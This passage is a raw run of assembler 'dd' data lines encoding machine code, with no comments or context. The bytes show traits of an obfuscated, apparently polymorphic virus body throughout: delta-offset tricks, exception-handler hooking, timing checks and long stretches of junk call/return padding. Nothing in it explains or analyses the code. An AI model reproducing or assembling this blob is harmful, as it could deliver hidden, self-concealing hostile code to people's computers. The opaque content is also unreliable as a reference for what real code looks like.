3E85000h, 20000000h, 8958C358h, 81042444h, 17042444h dd 40000000h, 9FBCC350h, 840F5143h, 3, 6ADBB70Fh, 55006A02h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 342DD352h, 25BD8B0Dh, 106032Ah, 3226D9Dh, 60509006h dd 8B665250h, 0E9310FCFh, 10h, 0CB71D67Bh, 3C5372D7h, 0FC5B7574h dd 0C45CEFF6h, 0BB66585Ah, 9061AE2Ah, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 18h, 2AC35545h, 0AC91C282h, 0C09F781h dd 95FF434Fh, 6030CFDh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 17h, 15C35747h, 50B9FF2Fh, 0E95BDD8Ah, 0EACh dd 0E8h, 0ED815D00h, 60788B4h, 0CE9h, 0A769BF00h, 44A31105h dd 0D8BDA7D1h, 52006A2Ah, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1504h, 0C3524200h, 8DF883F3h, 6910085h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 94316192h, 1C519D8Bh, 0E9900603h, 10h, 19778B88h, 61A4B608h dd 0EDB43C13h, 247C8A89h, 0BF669050h, 0FF641438h, 35h dd 0D88B6600h, 258964h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0D1A8C356h dd 0D6C50C3h, 572E09BBh, 96D9589h, 0FF5B0603h, 31D0185h dd 0C820F06h, 0E9000000h, 7, 0E3498F2Ch, 6A0DDB15h, 55006AFFh dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 0C2367F9Dh, 7BF05BDh, 0B664BB66h, 0B5FF07B3h, 603217Dh dd 0FE9h, 8BAC1500h, 5E453A5Bh, 0F4E17DC9h, 5F12DCABh dd 1C6D9D89h, 95FF0603h, 6031B4Dh, 140E9h, 0D9BF0F00h dd 0BD8900B0h, 60329C5h, 0DE870E6h, 0B1000000h, 0E747BEAEh dd 5C5462A8h, 0F51E9EBBh, 60C4BF57h, 5B5B33F7h, 0E9BF71E4h dd 3C0F17EBh, 0A830F61h, 89000001h, 325898Dh, 0C8B60F06h dd 3237C781h, 6BA72E0h, 0BB000000h, 57F5F50Bh, 2C09BD89h dd 0C18B0603h, 0A552E6BFh, 4E8C12Bh, 1B890Fh, 13E80000h dd 88000000h, 12084594h, 9E9F21B3h, 8D9B3D5Ah, 0A2F94831h dd 0F88B4FA3h, 664FB75Fh, 9D8BE2F7h, 603049Dh, 880FC82Bh dd 6, 0F019D8Bh, 0D18B0603h, 2A719D23h, 0E8520603h, 8 dd 0C7D3ECA4h, 0A9697910h, 6A9323BBh, 0E95F5B5Bh, 4, 3634BF66h dd 68D858Bh, 0C0830603h, 1DBD8B07h, 83060304h, 0BD8B00C0h dd 6031E25h, 5E8h, 4E3C6D00h, 0DB8030F8h, 0D03B5F07h, 0B830Fh dd 0B70F0000h, 4BE9DEh, 0BF0F0000h, 118D8BFBh, 0E9060331h dd 0Ah, 0A6BF5E03h, 0D572997Fh, 0E183C36Eh, 2A840F01h dd 8B000000h, 318F99Dh, 0DFBF0F06h, 3111A583h, 89FE0603h dd 3068D95h, 6810F06h, 8B000000h, 30F65BDh, 0DEB70F06h dd 0E9h, 3DB58D00h, 6A0606FCh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1A042444h, 41000000h, 4E7CC351h, 5D826738h dd 0E3BB66E0h, 0E9006A1Fh, 7, 77F694E3h, 0E817049Ah, 0Eh dd 0C2583E46h, 252A857Fh, 837A10B2h, 8B60789Ah, 3148585h dd 0FF5F6106h, 323A595h, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1B04h, 0C3514100h, 0FEA2A21Eh, 6709C2CAh dd 246DBD89h, 0D2B90603h, 6A000008h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 0FC63C351h dd 0FCE183BEh, 3600BB66h, 4DB509FCh, 0B8060314h, 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 9DC35646h dd 6FF92FBFh, 2850F28h, 0B3000000h, 0BAC6h, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h dd 3008C3C3h, 0FDBD09ACh, 0AD06031Dh, 0E8D1C233h, 0E983D003h dd 6AF47504h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 17042444h, 40000000h, 5526C350h, 0BF66F6A9h, 6A7A08h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 3D147AC3h, 0FA8BFCE5h, 5B1FCF81h, 880D56A4h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h dd 43000000h, 42A5C353h, 7F4104BCh, 8B84B7CAh, 320A595h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h dd 0C3574700h, 538C51DDh, 760F6A56h, 12E97Ah, 0B4D0000h dd 12BD91B5h, 66674C16h, 0FE3CFD08h, 5EDA20BCh, 7F98531h dd 8D8B0603h, 6031A65h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 16h, 17C35343h, 9D8B91FFh, 6031A3Dh, 8BC28B50h dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 190424h, 57470000h, 0E794D2C3h dd 815E47EFh, 590A96EBh, 0DBD8344h, 60321h, 0A1840Fh, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h dd 7BED3EC3h, 91F47700h, 0E985C76Eh, 0Dh, 2B2E55EDh, 786E8808h dd 4149BD9Eh, 0E86060CAh, 9, 989813DDh, 654353E7h, 9D895EDAh dd 6032A3Dh, 0BD896061h, 6030355h, 61F2EB80h, 0B861h, 0BF660000h dd 8D89076Bh, 6032149h, 4D698D8Dh, 0FFF50603h, 52006AE1h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 5AABCA31h, 0BC4C05B8h, 0D6E78166h, 4DBD8B93h, 83060324h dd 30071BDh, 840F0006h, 45Eh, 0DE8h, 9E64800h, 0F717BCA3h dd 52BB6052h, 0BD8B453Ch, 6033135h, 0FD9D035Bh, 83060316h dd 30071BDh, 840F0106h, 44Dh, 16499589h, 0BD830603h, 6030071h dd 4860F03h, 6A000004h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 17042444h, 41000000h, 3AA3C351h, 0BB6666FDh dd 0BF669E1Ah, 6A60BCA4h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 81B4C356h, 31E02F30h dd 3202585h, 9CF38106h, 665555F0h, 9D23D98Ch, 60315D1h dd 6A04E180h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 16042444h, 40000000h, 7D65C350h, 0F88B6665h, 2D41BD89h dd 0C90A0603h, 130840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 140424h, 56460000h, 0BD29E4C3h, 60305F9h dd 9AD858Bh, 33F90603h, 31A5985h, 99D8906h, 5006030Dh dd 1A4ABB66h, 6A240489h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 19042444h, 41000000h, 574EC351h, 0B0C4B231h dd 2C2D8531h, 6A0603h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 14h, 1BC35747h, 685B51F8h, 0B432A0DFh, 81F98B66h dd 63202404h, 0F7814BECh, 1FC2F828h, 2E7195FFh, 6A0603h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 72F267C3h, 800F9B60h, 4, 0D834BF66h, 9E9h, 0DDEC6E00h dd 4EFBA50Bh, 8589D2FDh, 606A703h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 16h, 56C35040h, 0D781726Dh, 7A429DEFh dd 207E9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1504h, 0C3564600h, 95898F8Dh, 6031A55h, 93B2EB81h, 858B230Fh dd 606A6FBh, 205BBE60h, 0C76178ADh, 1800h, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 0DF9FE8D2h, 0A6FFB58Bh, 6A0606h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 3B30CDC3h dd 565DB0DDh, 719D2B8Ch, 8B06032Fh, 31F8985h, 0B4D78006h dd 6A0689h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h dd 56460000h, 9BF650C3h, 0AD858BCCh, 6A060309h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h dd 6699C352h, 0D455CB81h, 6A044689h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 90CC355h dd 7196B359h, 94D96E8Bh, 26A19D89h, 89500603h, 9E92434h dd 0F5000000h, 4A9752ECh, 16907503h, 0A6FBB5FFh, 6A0606h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h dd 0AC2494C3h, 819D8B68h, 0E806031Ch, 4, 1F03FFh, 0A6BB5250h dd 0F19BB70h, 6800F31h, 50000000h, 5A310F52h, 50585A58h dd 0DE3ABB66h, 424448Bh, 8BD88Bh, 448979B7h, 0BF660424h dd 6A58B666h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1D042444h, 40000000h, 0ECCEC350h, 0A07B4D3Dh, 0B8BBD635h dd 1D7DBB66h, 0A703858Dh, 0BB660606h, 90F8F498h, 57505F50h dd 58D0Fh, 0E1BF0000h, 5B67DD57h, 60DD8A90h, 4F14C081h dd 10E93434h, 0E9000000h, 1701A7B5h, 777048E2h, 975E2BE4h dd 6118F866h, 2E7195FFh, 6A0603h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 160424h, 52420000h, 0AA0190C3h, 7185C761h dd 3060300h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 16042444h, 43000000h, 9D7BC353h, 259D3117h dd 83060309h, 6A703BDh, 840F0006h, 2Bh, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 1Ch, 82C35747h, 8254680Ah dd 0D95E153Ch, 1BE9DE8Ah, 50000000h, 110C30h, 0C1011144h dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h, 305036EBh dd 64001104h, 0E8C10111h, 11443010h, 11640002h, 0E9835803h dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h dd 4300111h, 4E98311h, 0EBE775h, 0DE8C08Bh, 0AE000000h dd 46D819E7h, 91216D9Fh, 0C497EF1h, 3BB665Fh, 0FE8B66C5h dd 71BD83h, 0F030603h, 41E85h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1C04h, 0C3504000h, 4B48635Ch dd 0D89017CFh, 3BD8387h, 606A7h, 3ED840Fh, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 0C7382EC3h, 0EF1C1FFh, 30FDBD89h, 0B5FF0603h, 606A703h dd 26C19D8Bh, 95FF0603h, 6032A75h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 18h, 0A5C35242h, 95900A9Ah, 6F9B531h dd 0B58B0603h, 606A6F7h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 15h, 7BC35242h, 88F0FB4h, 50000000h, 830Fh dd 0C75B0000h, 1000106h, 5BD0B00h, 8B060313h, 302F99Dh dd 890F9606h, 4, 1705BB66h, 8810F50h, 50000000h, 8E0Fh dd 965F0000h, 0DABF0F53h, 3B5FF5Bh, 6A0606A7h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch dd 14042444h, 43000000h, 0F82C353h, 182h, 95FFF800h, 6032449h dd 1D8D9D8Bh, 0B58B0603h, 606A6F7h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 17h, 70C35242h, 0E8AE259Eh, 0Ch dd 701A386Bh, 6FC8BE49h, 0A011B041h, 0CE7ACCBFh, 858B5F07h dd 6033131h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 16h, 58C35646h, 8689B254h, 0C4h, 20A5958Bh, 0EB810603h dd 0DD633CFh, 6A04C283h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 19042444h, 42000000h, 126CC352h, 0D9BD2E0Fh dd 18059D8Bh, 0C3810603h, 6020E9ECh, 6A205089h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h dd 242FC355h, 8B536099h, 32601B5h, 8FBE5E06h, 61439316h dd 0BB16858Dh, 6A0606h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1A0424h, 55450000h, 184229C3h, 0C11BCF9Fh, 89DA8B66h dd 0B886h, 0DF8BF900h, 0F57006Ah, 0FF5BF9B7h, 6A703B5h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h dd 0C3564600h, 7311350Dh, 0E9D188F1h, 10h, 382D0F67h, 15D3DFCh dd 0D72894EDh, 0A530D729h, 0CFD95FFh, 6A0603h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 17EAB9C3h, 85C50105h, 668AE438h, 5096F98Bh, 0B3BF5250h dd 0F2B0EF5h, 3810F31h, 66000000h, 585ADF8Bh, 8501F596h dd 6030E85h, 0A703B5FFh, 12E90606h, 8C000000h, 0C960904Fh dd 0F318F69Fh, 0F08BB39Ch, 1FAEC082h, 0FFD88B34h, 32E7D95h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h dd 0C3554500h, 0F442AD17h, 0F59F2272h, 26C9BD83h, 0F000603h dd 5984h, 7076BB00h, 0E850593Bh, 11h, 612F972Dh, 0E392DB24h dd 192C2414h, 7C97C427h, 11E9A3h, 0E20C0000h, 0FEC4705Fh dd 2E477F74h, 13C97CC5h, 5FBA73C4h, 6A243489h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h dd 17E0C356h, 22119509h, 0B5FF0603h, 606A703h, 29BD2B53h dd 5B060300h, 14B995FFh, 0CE90603h, 0BC000000h, 82BBB0CBh dd 45B90C69h, 0FFE61DDBh, 6A703B5h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 0EE73B898h dd 0C9595FFh, 0BD290603h, 6031FA9h, 2D4DBD83h, 0F020603h dd 3684h, 75BD8B00h, 8B060320h, 323ED85h, 52006A06h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 6B1E1CF1h, 0C63D81h, 79B58900h, 0C7060325h, 3308185h dd 6, 3820F00h, 0F000000h, 8166D8BFh, 0E9A920E3h, 0FFFFF297h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 1FC35646h dd 799D89F9h, 8B060314h, 52006AC1h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1404h, 0C3524200h, 14E98Dh, 88030000h, 4355E083h dd 0FB1280C7h, 290C794Dh, 104E240Eh, 8D01C1E6h, 6031581h dd 68B0Fh, 0B5890000h, 6032531h, 1309858Dh, 0DF810603h dd 0EE99386h, 5040B390h, 0EEBD4FBFh, 0BD8B9072h, 6030375h dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h dd 52420000h, 7048E2C3h, 5E2BE477h, 89F86697h, 312C1B5h dd 6A006A06h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 14042444h, 41000000h, 9A9C351h, 3223D9Dh, 5F858D06h dd 6A060799h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1B042444h, 45000000h, 43EAC355h, 0F4302032h, 9D8B61E8h dd 60306DDh, 6870Fh, 0E7810000h, 6E801C69h, 6A05C083h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 19042444h dd 47000000h, 0B4C9C357h, 475E9BD8h, 0FFE54BBh, 8B509019h dd 6A90D9h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h dd 57470000h, 8128B3C3h, 0B5A1EDCFh, 0CD9D8B52h, 6A060312h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h dd 0C3524200h, 3810F16h, 66000000h, 6AFA8Bh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0B6C35646h, 0D5BD0901h dd 0FF060322h, 31DF995h, 44EB8006h, 99338D8Dh, 0B5290606h dd 6030881h, 8953D1FFh, 3177DB5h, 0BD835F06h, 6031D89h dd 8D850F01h, 80000000h, 26AB5D7h, 16AD9D33h, 0E9900603h dd 13h, 0BC523B8Fh, 0F8EF5234h, 0B042515Bh, 81E395A8h dd 50B95345h, 14E950h, 0A75F0000h, 1A69586Bh, 50C64297h dd 0C14E3789h, 438A0632h, 905B5B92h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 18h, 70C35545h, 3E0C9897h, 465BD09h dd 95FF0603h, 6030CFDh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 18h, 0AEC35242h, 299EF79h, 0EAEE9h, 0E800h dd 815D0000h, 79969EDh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1804h, 0C3564600h, 0DD1B8BECh, 8B605150h dd 30D8995h, 0FEBF0F06h, 0BD8B5F61h, 6030909h, 9100858Dh dd 6A0606h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h dd 57470000h, 5EF713C3h, 6CD62C0Bh, 59516056h, 13AD8589h dd 5F610603h, 5DC78057h, 8B66505Bh, 240489DAh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 19h, 0F7C35040h, 0BAA2C674h dd 0FE8B6614h, 35FF64h, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 0BBE7C351h dd 6976515Dh, 64DF8B66h, 2589h, 6E90000h, 48000000h, 5ACBDED9h dd 185FF58h, 6A06031Dh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1D042444h, 43000000h, 0F07AC353h, 8481C01Bh dd 0CB17F026h, 17618D89h, 0BD890603h, 6030BC5h, 6AFF6Ah dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 0A764D5C3h, 4828CF16h, 85896896h, 6030E51h, 1C61B589h dd 0B5FF0603h, 60317ADh, 23598D01h, 95FF0603h, 6031B4Dh dd 117E9h, 69F38100h, 662AD32Bh, 4FF9EB81h, 8B6600B0h dd 5370E6DFh, 22F5BD8Bh, 0E45F0603h, 0FE95371h, 0EC000000h dd 0B96D6719h, 8B616C04h, 0BA2DF1FEh, 3C5BAC15h, 0DD830F61h dd 0E9000000h, 0Dh, 0E5BFB390h, 6732E88Fh, 0B369137Ch dd 17BB66A6h, 0C8B60FE5h, 0E1F3A7BFh, 6BA31h, 89520000h dd 324D195h, 0C18B5F06h, 202EBF66h, 6004E8C1h, 0DA8B6660h dd 0BB0E081h, 0BB6105E6h, 5047A7E1h, 0E2F76661h, 0C82BD98Ah dd 8BDE8B66h, 9EC781D1h, 0E915DB61h, 0Ch, 25619D8Bh, 9D8B0603h dd 60326D5h, 4A9858Bh, 0BD8B0603h, 60305E5h, 55C38166h dd 7C08386h, 0C99BD89h, 0C0830603h, 7E900h, 0B64F0000h dd 68A796A1h, 0FD03B4Bh, 1183h, 0F5BD8B00h, 0E9060317h dd 38h, 6C99D89h, 8D8B0603h, 60322B5h, 0E1834BB3h, 21840F01h dd 66000000h, 0A583FB8Bh, 60322B5h, 5D9D8BFEh, 89060324h dd 304A995h, 8DBD3306h, 0E9060330h dd 0 dd 6CBB58Dh, 6A0607h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 150424h, 51410000h, 8B7419C3h, 315C59Dh, 6A006A06h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h dd 45000000h, 0D315C355h, 10E9h, 5FFE3100h, 1F2BB3BCh dd 0C48786EBh, 0CD53D9F7h, 0A595FFF2h, 0E9060323h, 10h dd 0D42A0A74h, 9561CE16h, 0A0AF9972h, 84649459h, 2A698D89h dd 50B90603h, 0F000008h, 0BB66FFB7h, 0E1836098h, 56006AFCh dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 9F3F2B13h, 0E19D09ECh, 0FC060303h, 0C02BFE8Bh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0A7C35545h, 0DBBF0F5Bh dd 6AD22Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h dd 50400000h, 43A3F6C3h, 0EF81F735h, 9842671h, 0D1C233ADh dd 83D003E8h, 0F47504E9h, 81FABF0Fh, 9F1949D3h, 880D51h dd 9D290000h, 6030975h, 20A5958Bh, 6A0603h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 51FB46C3h dd 83F072E2h, 21519D29h, 8D8B0603h, 6031A65h, 0C28B50FCh dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 7C0EC351h, 71C75A48h, 3634406Ah, 21498D89h, 66600603h dd 9589F28Bh, 6030B59h, 0DBD8361h, 60321h, 6A840Fh, 0BE90000h dd 4C000000h, 3C8997E7h, 9D7BC8CAh, 0B88E17h, 0E8000000h dd 13h, 7B10B9D1h, 8F10ED05h, 0C9DB116Dh, 0B3CA29B0h, 3117B559h dd 32601B5h, 8D8D5F06h, 6034D69h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 18h, 84C35545h, 0E53AFBF1h, 32C5BD8Bh dd 9D010603h, 6032EC5h, 0EFB7E1FFh, 71BD83h, 0F000603h dd 4DF84h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1A04h, 0C3534300h, 0D56F3C9Ch, 94E75F9h, 30B3D9Dh, 71BD8306h dd 1060300h, 4C5840Fh, 8B600000h, 3182185h, 83F56106h dd 30071BDh, 860F0306h, 479h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ch, 8BC35747h, 0F8E68911h, 16514798h dd 12E9h, 0C053D600h, 8CAFF509h, 29A2D51h, 0E8CCBF04h dd 601B6D09h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 18h, 7C35242h, 7301EB40h, 55BD89h, 8C660603h, 14E9D9h dd 203C0000h, 7E6A2F5Ah, 5C97A40Ch, 64E0ACh, 0C3AD1E86h dd 0E180FB0Ch, 52006A04h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1D04h, 0C3524200h, 97C3BE12h, 0A9AD9C75h dd 5E9B17Eh, 37000000h, 757CF1FFh, 840FC90Ah, 19Fh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0E3C35747h, 0DBA1B51Bh dd 75D07939h, 6830F6Fh, 89000000h, 32A6D9Dh, 0AD858B06h dd 6A060309h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 19042444h, 47000000h, 0A9ACC357h, 0E25C0D3Fh, 6E8h dd 0C6A41D00h, 0BBCB47D2h, 319904CCh, 0EF81605Bh, 0D05216Bh dd 61C68B66h, 1A598533h, 6A0603h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 170424h, 53430000h, 74F613C3h, 619D89F7h dd 306032Ch, 317699Dh, 839BBF06h, 50900CF0h, 90DE8B66h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 84C35646h dd 0ABA67370h, 1AE38096h, 68A0Fh, 9D330000h, 6032209h dd 4ABB006Ah, 0E819BED2h, 4, 1F03FFh, 8E9h, 5C930B00h dd 0FE62BA48h, 820F508Ah, 5, 0BAEDC1BBh, 24448B36h, 1FBF6604h dd 60008BFFh, 66C18B66h, 61F627B8h, 4244489h, 8B585B56h dd 0E58D89FBh, 0FF060325h, 32E7195h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1D04h, 0C3504000h, 0C730697Eh dd 38F183A7h, 0BF667C30h, 858921F3h, 606A703h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0E9C35747h, 0E9BBF471h dd 0Fh, 0B9F7247Dh, 9AC3134Eh, 35051338h, 6677FE19h, 0FE8BFB8Bh dd 1CAE9h, 8BFE8B00h, 6A6FB85h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 0ECD6AC4Ah dd 0D2480425h, 0B5896089h, 6032F29h, 15A98D8Bh, 0C7610603h dd 1800h, 79BD8B00h, 81060330h, 742735E7h, 0FFB58B09h dd 6A0606A6h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 19042444h, 40000000h, 9F87C350h, 8536F8A4h, 7E9h, 1821C200h dd 0B6E04E34h, 0AE8h, 0FAA69000h, 0A569CD28h, 16EC261h dd 31CC995h, 858B5F06h, 6031F89h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 18h, 0ABC35040h, 493D509Ah, 2619EF81h dd 689027Dh, 0EE9h, 385CA300h, 4D2208F5h, 0B2D835BAh, 8B094A25h dd 309AD85h, 4468906h, 0BD5BD8Bh, 50960603h, 0FDA8A52h dd 0DA8B6631h, 0E950585Ah, 14h, 0DA3B5748h, 438285E7h dd 0CA0D95CAh, 7629243Fh, 6AC2C5ECh, 3FF78096h, 0A6FBB5FFh dd 870F0606h, 8, 0DD858957h, 5B060322h, 0E6BB2568h, 14E806h dd 2DB50000h, 232BF7B6h, 0AC7E0AF0h, 8532062Ah, 0F24A046Fh dd 0BB664557h, 815B0D67h, 0B8DA2434h, 0B70F06F9h, 3858DDEh dd 0E80606A7h, 0Dh, 0B94DBB41h, 0C9122A4h, 9F163741h, 11E87Dh dd 0C0C10000h, 34241CB7h, 67658EFAh, 86AE89E9h, 8124832Ch dd 0FAAB23CFh, 605F5B5Ch, 0BD096160h, 60312E9h, 0DA8B9061h dd 8DEBBF50h, 6A904918h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 47B4C351h, 7195FFCDh dd 8B06032Eh, 304C9BDh, 7DBD8B06h, 61060330h, 85C7F88Bh dd 6030071h, 3, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 16h, 79C35747h, 0BD83ABC1h, 606A703h, 22840F00h, 66000000h dd 35E9FB8Bh, 89000000h, 32DD59Dh, 0FE906h, 0B3D20000h dd 752C8061h, 0BF2388A3h, 31629F15h, 0C3050D7h, 11440011h dd 10E8C101h, 2114430h, 3114C00h, 4E98358h, 36EBE775h dd 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h dd 83110430h, 0E77504E9h, 0C08B00EBh, 48F0Fh, 0BF660000h dd 6A2056h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h dd 55450000h, 30E4EC3h, 0E3807E99h, 71BD83D0h, 3060300h dd 4BA850Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 170424h, 51410000h, 5DB4DC3h, 3BD830Dh, 606A7h, 48E840Fh dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h dd 55450000h, 0E397F1C3h, 0CF53730Bh, 0BE8050Fh, 0E000000h dd 723CD16Bh, 5758D95Ah, 0FD8A648Bh, 3B5FF5Bh, 560606A7h dd 1ACD8D89h, 8B5F0603h, 7595FFFEh, 6A06032Ah, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h dd 47000000h, 0F33FC357h, 6881BC95h, 0B58B2395h, 606A6F7h dd 2F95B589h, 6C70603h, 10001h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 14h, 7FC35545h, 9E9h, 8E68D400h dd 0CCF2516Bh, 6096E5CDh, 0EE8h, 0D2E5F800h, 45AFA4E4h dd 679661B1h, 505E0B40h, 5A310F52h, 50615858h, 1507BB66h dd 57006A96h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h dd 0C3574700h, 7E4CDFF0h, 0B9BD297Eh, 0FF06032Eh, 6A703B5h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h dd 0C3554500h, 60F36D51h, 6CDA8166h, 8D858940h, 61060323h dd 3354CCBFh, 4995FF0Eh, 6A060324h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 6529C352h dd 50DA2A98h, 0B58BB4FDh, 606A6F7h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ch, 73C35545h, 33C872AAh, 47FD3581h dd 1D259D8Bh, 8BF50603h, 3313185h, 87BB6606h, 0C486890Dh dd 80000000h, 958BD2EFh, 60320A5h, 0B859D8Bh, 0BF0F0603h dd 4C283F9h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ah, 8C35646h, 5E7F353Bh, 0EB809E83h, 20508986h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0CCC35545h, 7AC67C8Ch dd 66442799h, 8D96D381h, 8DDE8B66h, 6BB1685h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h dd 83EE3729h, 6810Fh, 0BD330000h, 